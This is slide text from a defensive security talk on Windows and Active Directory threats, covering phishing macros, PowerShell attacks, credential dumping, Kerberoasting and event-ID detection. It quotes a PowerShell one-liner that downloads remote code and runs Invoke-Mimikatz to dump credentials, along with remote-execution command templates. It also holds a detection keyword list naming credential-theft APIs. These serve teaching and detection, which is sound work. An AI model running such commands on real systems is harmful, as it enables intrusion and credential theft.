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Current Threat Landscape
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The Current State of Security: 

The Good
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The Good: Better Security Awareness
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The Good: Better Security Testing
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The Good: Less AD Admins
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The Good: Better PowerShell Security (v5)
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The Current State of Security: 

The Bad
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The Bad: User -> Admin = Easy
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The Bad: Legacy Reduces Security
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The Bad: PowerShell Logging Not Enabled
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The Bad: Too Many Blind Spots
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The Current State of Security: 

The UGLY
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The UGLY: Email Gets Users to Click
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The UGLY: From Email to Breach
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The UGLY

>50%
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The UGLY: 2016 CyberSecurity Spending
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16x
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The UGLY: 2016 CyberSecurity Spending
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Phishing for Initial Access
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“PowerWare” MS Office Macro -> PowerShell

https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
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Microsoft Office Macros (VBA)

•Many organizations are 
compromised by a single 
Word/Excel document.

•Office Macro = Code

https://www.fireeye.com/blog/threat-research/2015/10/macros_galore.html
Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]

https://www.fireeye.com/blog/threat-research/2015/10/macros_galore.html


MS Office on Macs has Macros too!
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Microsoft OLE

• OLE Package (packager.dll) 
Windows 3.1 to Windows 10.

• Office 2003 to 2016 support.

• Disable in Outlook via regkey
(ShowOLEPackageOBJ to “0”).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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HTML for Applications (HTA)
•Mshta.exe executes .HTA files

• From web code 
(VBScript/JavaScript) to Trusted 
Application

•HTA = EXE

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Phishing Mitigation
• Create Group Policy to control Microsoft Office macros

• Disable all ActiveX
• “Block macros from running in Office files from the Internet” 
• VBA Macro Notification Settings: Disable all except digitally signed 

macros
• Scan encrypted macros in Word Open XML documents: Enabled

• Disable OLE in Outlook:
• ShowOLEPackageOBJ to “0”).

• Block the following extensions: 
• ade, adp, ani, bas, bat, chm, cmd, com, cpl, crt, hlp, ht, hta, inf, ins, isp, 

job, js, jse, lnk, mda, mdb, mde, mdz, msc, msi, msp, mst, pcd, pif, reg, 
scr, sct, shs, url, vb, vbe, vbs, wsc, wsf, wsh, exe, pif, RTF, etc.) 

• Change default program for anything that opens with Windows 
scripting to notepad (test first!)
• bat, js, jse, vbe, vbs, wsf, wsh, etc.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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PowerShell
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“Isn't PowerShell just C# with training wheels?”
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PowerShell Overview

• Object-based scripting 
language leveraging .Net
technologies.

• Primarily designed in C#.

• “BASH shell for Windows”

• PowerShell can call .Net
directly: 
[System.DirectoryServices

.ActiveDirectory.Forest]:

:GetCurrentForest() 

• Extensible through imported 
code modules which add new 
commands.

• Simplifies data access to 
standard resources (WMI, XML, 
registry, event logs, etc).

• PowerShell.exe (CLI) or 
PowerShell_ISE.exe (ISE GUI).

• 10 years old!
(almost)

Sean Metcalf [@Pyrotek3 | 
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PowerShell v5 Security Enhancements

• Script block logging 

• System-wide transcripts 

•Constrained PowerShell enforced when application 
whitelisting enabled (AppLocker/Device Guard) 

•Antimalware Integration (Win 10)
http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell-the-blue-team.aspx

Windows Management Framework (WMF) version 5 available for download:
https://www.microsoft.com/en-us/download/details.aspx?id=50395
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PowerShell Group Policy
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PowerShell v5 Security: Script Block Logging
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PowerShell v5 Security: System-Wide Transcripts
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PowerShell v5: Constrained PowerShell Enforced (WL)
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Windows 10 PS Security:  Antimalware Integration
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Windows 10: AntiMalware Scan Interface (AMSI)
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Security Vendors Supporting Win10 AMSI

1. Microsoft Defender

2. AVG Protection 
2016.7496

3. ESET Version 10

4. Avast: ??
5. Trend Micro: ??
6. Symantec: ???
7. McAfee: ???
8. Sophos: ??
9. Kaspersky: ??
10. BitDefender: ??
11. F-Secure : ??
12. Avira : ??
13. Panda : ??

Last Updated: March 2017

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



PowerShell as an Attack Platform
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Attackers Have Options

•Custom executables (EXEs)

•Windows command tools

•Remote Desktop

•Sysinternal tools

•Windows Scripting Host

•VBScript

•CScript

• JavaScript

•Batch files

•PowerShell

Sean Metcalf [@Pyrotek3 | 
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Quick PowerShell Attack History
• Summer 2010 - DEF CON 18: Dave Kennedy & Josh Kelly 

“PowerShell OMFG!” https://www.youtube.com/watch?v=JKlVONfD53w

• Describes many of the PowerShell attack techniques used today (Bypass 
exec policy, -Enc, & IE).

• Released PowerDump to dump SAM database via PowerShell.

•2012 – PowerSploit, a GitHub repo started by Matt Graeber, 
launched with Invoke-Shellcode.
• “Inject shellcode into the process ID of your choosing or within the 

context of the running PowerShell process.”

• 2013 - Invoke-Mimkatz released by Joe Bialek which leverages 
Invoke-ReflectivePEInjection.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Benefits of PowerShell as an Attack Platform

•Run code in memory without touching disk.
•Download & execute code from another system.
• Interface with .Net & Windows APIs.
•Built-in remoting.
•CMD.exe is commonly blocked, though not PowerShell.
•Most organizations are not watching PowerShell activity.
•Many endpoint security products don’t have visibility 

into PowerShell activity.
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Real-world PowerShell attacks
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Word Macro -> PowerShell -> Download & Execute Payload
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Download Code & Upload Recon Data
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Download Code & Execute

http://pastebin.com/juC4CkQG
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Download JPG file as EXE, then Execute
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Create “Update_Google” task to execute Shellcode
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Take Screenshots with PowerShell
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WMI Backdoor

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-
To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf


PowerShell without PowerShell.exe
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PS Constrained Language Mode? 
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PowerShell v5 Security Log Data?
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Detecting/Mitigating PS w/o PowerShell.exe

•Discover PowerShell in non-standard processes.

•Get-Process modules like “*Management.Automation*”
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Detecting/Mitigating PS w/o PowerShell.exe
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Detecting Custom EXEs Hosting PowerShell

• Send PowerShell & PowerShell Operational logs to SIEM.

• Event 800: HostApplication not standard Microsoft tool 
(PowerShell, PowerShell ISE, etc).

• Event 800: EngineVersion < PowerShell version.

• System.Management.Automation.(ni.)dll hosted in non-
standard processes.

• Remember that custom EXEs can natively call .Net & Windows 
APIs directly without PowerShell.

• Remove PowerShell 2.0 engine from Windows 8/2012+ (still 
requires Microsoft .NET Framework 3.5 for use).
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Obfuscation Bypasses AV

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Finding Obfuscated Evil
Regular Obfuscated
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Finding Obfuscated Evil
• Deploy PowerShell v5.

• Enable PowerShell script block logging.

• Look at length of PowerShell command

• Look for lots of brackets  { } 

•

• Look for lots of quotes (single & double)  “ “  & ‘ ’

• Look for random function names & many unusual characters not 
normally in PowerShell scripts.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Offensive PowerShell Detection Cheatsheet
• AdjustTokenPrivileges

• IMAGE_NT_OPTIONAL_HDR64_MAGIC

• Management.Automation.RuntimeException

• Microsoft.Win32.UnsafeNativeMethods

• ReadProcessMemory.Invoke

• Runtime.InteropServices

• SE_PRIVILEGE_ENABLED

• System.Security.Cryptography

• System.Reflection.AssemblyName

• System.Runtime.InteropServices

• LSA_UNICODE_STRING

• MiniDumpWriteDump

• PAGE_EXECUTE_READ

• Net.Sockets.SocketFlags

• Reflection.Assembly

• SECURITY_DELEGATION

• CreateDelegate

• TOKEN_ADJUST_PRIVILEGES

• TOKEN_ALL_ACCESS

• TOKEN_ASSIGN_PRIMARY

• TOKEN_DUPLICATE

• TOKEN_ELEVATION

• TOKEN_IMPERSONATE

• TOKEN_INFORMATION_CLASS

• TOKEN_PRIVILEGES

• TOKEN_QUERY

• Metasploit

• Advapi32.dll

• kernel32.dll

• AmsiUtils

• KerberosRequestorSecurityToken

• Security.Cryptography.CryptoStream

• ScriptBlockLogging

• LogPipelineExecutionDetails

• ProtectedEventLoggingSean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



PowerShell Security Recommendations

•Deploy PowerShell v5 & Enable PowerShell script 
block logging.

• Send PowerShell & PowerShell Operational log events 
to SIEM.

•On Windows 10, use AMSI-aware AV.

• Test & deploy application whitelisting (ex. AppLocker).
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Paradigm Shift: ASSUME BREACH

“You (the defender) know the technologies 
that you intended to use in that network. 
We (the attacker) know the technologies 
that are actually in use in that network.” 
- Rob Joyce, NSA TAO Chief
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Interesting AD Information

• Forest config & functional level

• Domain config & functional level

• Trusts

• DCs (OS versions, services)

• RODCs (OS versions, services, 
passwords)

• AD Sites

• AD Admins

• Service Accounts

• Enterprise services (SPNs)

• Interesting account data

• Password policies

• Network shares (home directory, 
profile path, DFS)

• Domain & DC GPOs

• Workstation & Server GPOs

• GPO permissions

• Local workstation & server admins

• Computer accounts in admin groups

• AD Permissions
• Domain

• AdminSDHolder

• Domain Controllers OU

• Workstations & Accounts OUsSean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Over-Permissioned Accounts
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Discover Admin Accounts
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Discover AD Groups with Local Admin Rights



Group Policy Discovery
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Improper OU Delegation
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Improper OU Delegation



Paradigm Shift: ASSUME BREACH

“…[Our] Red Team, on average, is able to 
obtain access to domain administrator 
credentials within three days of gaining 

initial access to an environment.” 
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The Credential Problem
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The Credential Problem

•Most organizations:
•Don’t properly control admin group membership.
•Don’t properly monitor admin group membership.
•Don’t limit where admins can logon.
•Don’t require Two-Factor Authentication (2FA) for 

admins.
•Don’t control where admins can logon.
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Getting Domain Admin in Active Directory

•Poor Service Account Passwords

•Passwords in SYSVOL

•Credential Theft (ex. admin creds on workstations)

•Misconfiguration / Incorrect Perms

•Overpermissioned Service Accounts

• Improper Group Policy Object Permissions

• Exploit Vulnerability
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Overpermissioned Group Policy

•Default GPO Permissions:
• Authenticated Users: Read
• Domain Admins: Full
• Enterprise Admins: Full
• System: Full 
• Creator Owners: Modify

•Regular user accounts should never have GPO “edit” 
rights.
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Overpermissioned Group Policy
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Computer Accounts Don’t Belong in Admin Groups

•Computer accounts can belong to security groups and 
often do.
•Common Examples of Computers in Groups:

• Domain Controllers are members of the “Domain 
Controllers” group.

• Read-Only Domain Controllers (RODCs) are members of the 
“Read-Only Domain Controllers” group.

• Exchange servers are often members of different Exchange 
AD groups such as “Exchange Servers”.

•Compromise the computer to leverage all access the 
computer’s AD account has (via group membership).
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Computer Account in Admin Groups
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Attack of the Machines: Computers as Admin
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Pivoting with Local Admin

•Using GPP Credentials: 
• GPP renames local Administrator account to “ADSAdmin”
• GPP sets Password to “P@ssw0rd11!”

•Connect to other computers using ADSAdmin account

•Compromise Local Admin creds = Admin rights on all

•Always RID 500 – doesn’t matter if renamed.

•Mimikatz for more credentials!

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Pass The… Credential

•Pass the Hash
•Access resource with username & NTLM hash 

•Pass the Ticket
•Reuse Kerberos ticket to access resource.

•Over Pass the Hash
•Use the NTLM hash to get a Kerberos Ticket!

•Pass the Token
•Steal existing Token & reuse to access resource.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Over Pass the Hash
Use the NTLM password hash to get Kerberos ticket(s)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Remote Execution Options
• WMI

Wmic /node:COMPUTER/user:DOMAIN\USER 
/password:PASSWORD process call create "COMMAND“

• PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create -
ArgumentList $COMMAND -ComputerName $COMPUTER -
Credential $CRED

• WinRM
winrs -r:COMPUTER COMMAND

• PowerShell Remoting
Invoke-Command -computername $COMPUTER -command { 
$COMMAND}

New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-
PSSession -Name PSCOMPUTER

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Mimikatz: The Credential Multi-tool

Dump credentials 
Windows protected memory (LSASS). *
Active Directory Domain Controller database . *

Dump Kerberos tickets 
for all users. *
for current user. 

Credential Injection
Password hash (pass-the-hash) 
Kerberos ticket (pass-the-ticket) 

Generate Silver and/or Golden tickets 
And so much more!
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Dump Credentials with Mimikatz

User/Admin Account

Service Account

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



The Most Dangerous PowerShell One-Liner

Powershell "IEX (New-Object 
Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
Mimikatz -DumpCreds"

http://obscuresecurity.blogspot.com/2013/02/diy-phishing-exercises-with-powershell.html

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Invoke-Mimikatz
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Dumping AD Domain Credentials

•Get access to the NTDS.dit file & extract data.
•Copy AD database from remote DC.
•Grab AD database copy from backup.
•Get Virtual DC data.

•Dump credentials on DC (local or remote).
•Run Mimikatz (WCE, etc) on DC.
• Invoke-Mimikatz on DC via PS Remoting.
•Mimikatz DCSync for Password Data

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Finding NTDS.dit on the Network

•Are your DC backups properly secured?

•Domain Controller storage?

•Who administers the virtual server hosting virtual DCs?

•Are your VMWare/Hyper-V host admins considered 
Domain Admins?

Hint: They should be.
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Dump LSASS Process Memory
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NTDSUtil?
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Dump Password Hashes from NTDS.dit
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Dump AD Credentials with Mimikatz
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Improving Detection
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Are We…

• Logging the correct type of data?

• Logging the correct Event IDs?

• Logging what’s needed on all types of systems?

• Forwarding log data to our central system (SIEM/Splunk)?

•Actually seeing these events in the central system?

•Correlating Event IDs to anomalous activity?
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What is Normal?
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What is Normal
Anomalous?
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Monitor Enterprise Command Line Activity

Enable CMD Process logging & enhancement: 
Windows 2003: Event ID 592
Windows 2008/Vista: Event ID 4688
Windows 7/2008R2 & KB3004375: Log process & child 

process

Enable PowerShell module logging.

Forward events to SIEM tool (use WEF as needed).

Research the use of Sysmon for enhanced logging
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Microsoft Sysinternals System Monitor (Sysmon)
• Windows service with device driver (32 & 64 bit versions)

• Config data stored in HKLM\System\CCS\Services\SysmonDrv\Parameters

• Monitor:
• Process activity with hashes (check hashes with VirusTotal)
• Image loads (DLLs)
• Driver loads (system drivers)
• File creation time changes (may be attack activity, may be zip extraction)
• Network connections (look for suspicious program activity)
• RawAccess read (Invoke-Ninjacopy.ps1)
• Sysmon service change

• Identify common attack activity
• Monitor network activity for specific applications (notepad.exe)
• Winlogon & LSASS injection
• Ignore Microsoft signed image loads*
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Interesting Microsoft Binaries to Monitor

•ClickOnce Applications 
• dfsvc.exe (dfshim.dll)

• InstallUtil.exe

•Msbuild.exe

•Regsvr32.exe

•Rundll32.exe

•Bitsadmin.exe

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Windows Event Forwarding: WEF FTW!
• Configure WEF server by enabling WinRM (winrm qc) & Event Collector 

service

• Configured clients via GPO
• Computer>Policies>Admin Templates>Windows Components>Event 

Forwarding>Configure target subscription manager
• Computer>Policies>Admin Templates>Windows Components>Event Log 

Service>Security> Configure log access

• Pros
• No agent/certificates required (WinRM with Kerberos)
• Configure WEF via Group Policy
• Forward specific events to central logging server(s) then on to SIEM
• GUI to configure events for WEF to push to collector (XML behind the scenes)

• Cons
• Initial learning curve
• Not fault tolerant (no, DNS RR doesn’t work)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
https://aka.ms/wef

https://aka.ms/wef


Auditing for Attack Activity
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Active Directory (DC) Logging

•Originally 9 audit settings.

•WinVista/2008+: Advanced Audit Policy Settings
• 53 new settings provides more granular auditing.

•Win7/2008R2+: Special Logon auditing (Event ID 4694)
• Track logons to the system by members of specific groups.
• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Ls

a\Audit registry 
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auditpol.exe /get /category:*
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Recommended DC Auditing
• Account Logon

• Audit Credential Validation: S&F

• Audit Kerberos Authentication Service: S&F 

• Audit Kerberos Service Ticket Operations: 
Success & Failure

• Account Management
• Audit Computer Account Management: S&F 

• Audit Other Account Management Events: 
S&F 

• Audit Security Group Management: S&F 

• Audit User Account Management: S&F 

• Detailed Tracking
• Audit DPAPI Activity: S&F

• Audit Process Creation: S&F

• DS Access 
• Audit Directory Service Access: S&F

• Audit Directory Service Changes: S&F 

• Logon and Logoff
• Audit Account Lockout: Success

• Audit Logoff: Success

• Audit Logon: S&F

• Audit Special Logon: Success & Failure

• System
• Audit IPsec Driver : S&F

• Audit Security State Change : S&F

• Audit Security System Extension : S&F 
Audit System Integrity : S&F
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Special Logon Auditing (Event ID 4964)
• Track logons to the system by members of specific groups (Win 

7/2008 R2+)

• Events are logged on the system to which the user authenticates.

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit (Event ID 
4908: updated table)

• Local Accounts: S-1-5-113 

• Domain Admins: S-1-5-21-[DOMAIN]-512

• Enterprise Admins: S-1-5-21-[FORESTROOTDOMAIN]-519

• Custom Group: Create a new group

• Administrators: S-1-5-32-544  (Could be noisy)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Event IDs that Matter: Domain Controllers
EventID Description Impact

4768 Kerberos auth ticket (TGT) was requested Track user Kerb auth, with client/workstation name.

4769 User requests a Kerberos service ticket Track user resource access requests & Kerberoasting

4964 Custom Special Group logon tracking Track admin & “users of interest” logons

4625/4771 Logon failure Interesting logon failures. 4771 with 0x18 = bad pw

4765/4766 SID History added to an account/attempt 
failed

If you aren’t actively migrating accounts between 
domains, this could be malicious

4794 DSRM account password change attempt If this isn’t expected, could be malicious

4780 ACLs set on admin accounts If this isn’t expected, could be malicious

4739/643 Domain Policy was changed If this isn’t expected, could be malicious

4713/617 Kerberos policy was changed If this isn’t expected, could be malicious

4724/628 Attempt to reset an account's password Monitor for admin & sensitive account pw reset

4735/639 Security-enabled local group changed Monitor admin/sensitive group membership changes

4737/641 Security-enabled global group changed Monitor admin/sensitive group membership changes

4755/659 Security-enabled universal group changed Monitor admin & sensitive group membership changes

5136 A directory service object was modified Monitor for GPO changes, admin account modification, 
specific user attribute modification, etc.Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Event IDs that Matter: All Windows systems
EventID Description Impact

1102/517 Event log cleared Attackers may clear Windows event logs.

4610/4611/
4614/4622

Local Security Authority modification Attackers may modify LSA for escalation/persistence.

4648 Explicit credential logon Typically when a logged on user provides different credentials to 
access a resource. Requires filtering of “normal”.

4661 A handle to an object was requested SAM/DSA Access. Requires filtering of “normal”.

4672 Special privileges assigned to new 
logon

Monitor when someone with admin rights logs on. Is this an 
account that should have admin rights or a normal user?

4723 Account password change attempted If it’s not an approved/known pw change, you should know.

4964 Custom Special Group logon tracking Track admin & “users of interest” logons.

7045/4697 New service was installed Attackers often install a new service for persistence.

4698 & 4702 Scheduled task creation/modification Attackers often create/modify scheduled tasks for persistence.
Pull all events in Microsoft-Windows-TaskScheduler/Operational

4719/612 System audit policy was changed Attackers may modify the system’s audit policy.

4732 A member was added to a (security-
enabled) local group

Attackers may create a new local account & add it to the local 
Administrators group.

4720 A (local) user account was created Attackers may create a new local account for persistence.
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Event IDs that Matter (Newer Windows systems)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]

EventID Description Impact

3065/3066 LSASS Auditing – checks for code integrity Monitors LSA drivers & plugins. Test 
extensively before deploying!

3033/3063 LSA Protection – drivers that failed to load Monitors LSA drivers & plugins & blocks 
ones that aren’t properly signed.

4798 A user's local group membership was 
enumerated.

Potentially recon activity of local group 
membership. Filter out normal activity.

LSA Protection & Auditing (Windows 8.1/2012R2 and newer): 
https://technet.microsoft.com/en-us/library/dn408187(v=ws.11).aspx

4798: A user's local group membership was enumerated (Windows 10/2016):
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/event-4798

https://technet.microsoft.com/en-us/library/dn408187(v=ws.11).aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/event-4798


A Note About Logon Types (4624)
Logon 
Type #

Name Description Creds 
on Disk

Creds in 
Memory

Distribution

0 System Typically rare, but could alert to malicious activity Yes Yes *

2 Interactive Console logon (local keyboard) which includes server 
KVM or virtual client logon. Also standard RunAs.

No Yes #5 / 0%

3 Network Accessing file shares, printers, IIS (integrated auth, 
etc), PowerShell remoting

No No #1 / ~80%

4 Batch Scheduled tasks Yes Yes #7 / 0%

5 Service Services Yes Yes #4 / <1%

7 Unlock Unlock the system No Yes #6 / <1%

8 Network Clear Text Network logon with password in clear text (IIS basic 
auth). If over SSL/TLS, this is probably fine.

Maybe Yes #2 / ~15%

9 New Credentials RunAs /NetOnly which starts a program with different 
credentials than logged on user

No Yes #3 / < 1%

10 Remote 
Interactive

RDP: Terminal Services, Remote Assistance, R.Desktop Maybe Yes* #9 / 0%

11 Cached Interactive Logon with cached credentials (no DC online) Yes Yes #8 / 0%
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“Password Spraying”
• Automated password guessing against all users to avoid lockout.

• Attempts logon with password(s) against each user, then moves 
on to the next one.
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“Password Spraying”
• Connect to SMB share or network service

• Let’s start with connections to the PDC’s NETLOGON share…
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Switch from Network Share to AD Connection
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Kerberoasting & Detection
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“SPN Scanning” Service Discovery
SQL servers, instances, ports, etc. 

MSSQLSvc/adsmsSQL01.adsecurity.org:1433

RDP

TERMSERV/adsmsEXCAS01.adsecurity.org

WSMan/WinRM/PS Remoting

WSMAN/adsmsEXCAS01.adsecurity.org

Forefront Identity Manager

FIMService/adsmsFIM01.adsecurity.org

Exchange Client Access Servers

exchangeMDB/adsmsEXCAS01.adsecurity.org

Microsoft SCCM

CmRcService/adsmsSCCM01.adsecurity.org

Microsoft SCOM

MSOMHSvc/adsmsSCOM01.adsecurity.org
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Cracking Service Account Passwords (Kerberoast)

Request/Save TGS service tickets & crack offline.
• “Kerberoast” - python-based TGS password 

cracker.
• No elevated rights required.
• No traffic sent to target.



Kerberoast: Request TGS Service Ticket
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Kerberoast: Save & Crack TGS Service Ticket
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Kerberoast Detection
Detection is a lot tougher since requesting service tickets (Kerberos 
TGS tickets) happens all the time when users need to access 
resources.
Looking for TGS-REQ packets with RC4 encryption is probably the 
best method, though false positives are likely.

Monitoring for numerous Kerberos service ticket requests in Active 
Directory is possible by enabling Kerberos service ticket request 
monitoring (“Audit Kerberos Service Ticket Operations”) and 
searching for users with excessive 4769 events (Event Id 4769 “A 
Kerberos service ticket was requested”).

Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain
https://adsecurity.org/?p=2293
12/2015 Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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Kerberoast Detection Redux
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Kerberoast Detection

• Event ID 4769
• Ticket Options: 0x40810000
• Ticket Encryption: 0x17

• Need to filter out service 
accounts (Account Name) & 
computers (Service Name).

• Inter-forest tickets use RC4 
unless configured to use AES.

• ADFS also uses RC4.
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Kerberoasting All User SPNs
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Detection
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Kerberoast Honeypot
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Kerberoast Detection (Honeypot)
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But wait, there’s more!
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More Kerberoasting Fun!
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More Kerberoasting Fun!
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AD Administration Paradigm Shift
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Traditional AD Administration
• All admins are Domain Admins.

• Administration from anywhere – servers, workstations, 
Starbucks.

• Need a service account with AD rights – Domain Admin!

• Need to manage user accounts – Account Operators!

• Need to run backups (anywhere) – Backup Operators!

• Management system deploys software & patches all 
workstations, servers, & Domain Controllers.

• Agents, everywhere!

• Full Compromise… Likely
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Secure AD Administration

• Few AD Admins (not always DA).

• Admin accounts only ever logon to admin workstations/servers.

• Block Kerberos delegation on Admin accounts (add to Protected 
Users, Windows 2012 R2)

• Review requirements for AD privileges & delegate as appropriate.

• Tiered Administration model:
• Tier 0: Domain Controllers and Domain Admins (& equivalent).

• Tier 1: Servers and server admins

• Tier 2: Workstations and workstation admins

• Most important: Protect Active Directory Admin accounts!
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AD Admin Tiers

Sean Metcalf [@Pyrotek3 | 
sean@TrimarcSecurity.com]https://technet.microsoft.com/en-us/library/mt631193.aspx
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AD Admin Tiers

https://technet.microsoft.com/en-us/library/mt631193.aspx
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Privileged Admin Workstation (PAW)

•Active Directory Admins only ever logon to ADA PAWs.

• Should have limited/secured communication.

• Should be in their own OU.

•May be in another forest (Red/Admin Forest).

•Known good install media.

• Separate management/patching system from other 
computers.
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“Today, the line between the level of 
sophistication of certain financial attackers 
and advanced state sponsored attackers is 
not just blurred – it no longer exists.“
- Mandiant M-Trends 2017 Report
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Best Defenses
• Limit AD admin group membership.

• Protect AD admin credentials with admin workstations.

• Use Group Policy to restrict Office Macros (& disable OLE).

• Remove unused/legacy Windows features (after testing):
• WPAD

• LLMNR

• SMBv1

• LM/NTLMv1

• Leverage Windows Firewall to limit comms to workstations.

• Ensure local Administrator account passwords change.

• Gain visibility by flowing the most useful security & 
PowerShell events into SIEM/Splunk. Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]



Conclusion
• Better defense & detection is necessary.

• In the past, the industry has focused on getting as many 
event IDs as possible (without effective focus).

• Tracking attacker activity is possible with the right logging.

• Most attacks follow similar patterns.

• “Kerberoasting” can be detected once 4769 events are 
logged.

• Detection of “Kerberoasting” is increased through a “Service 
Account Honeypot”.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
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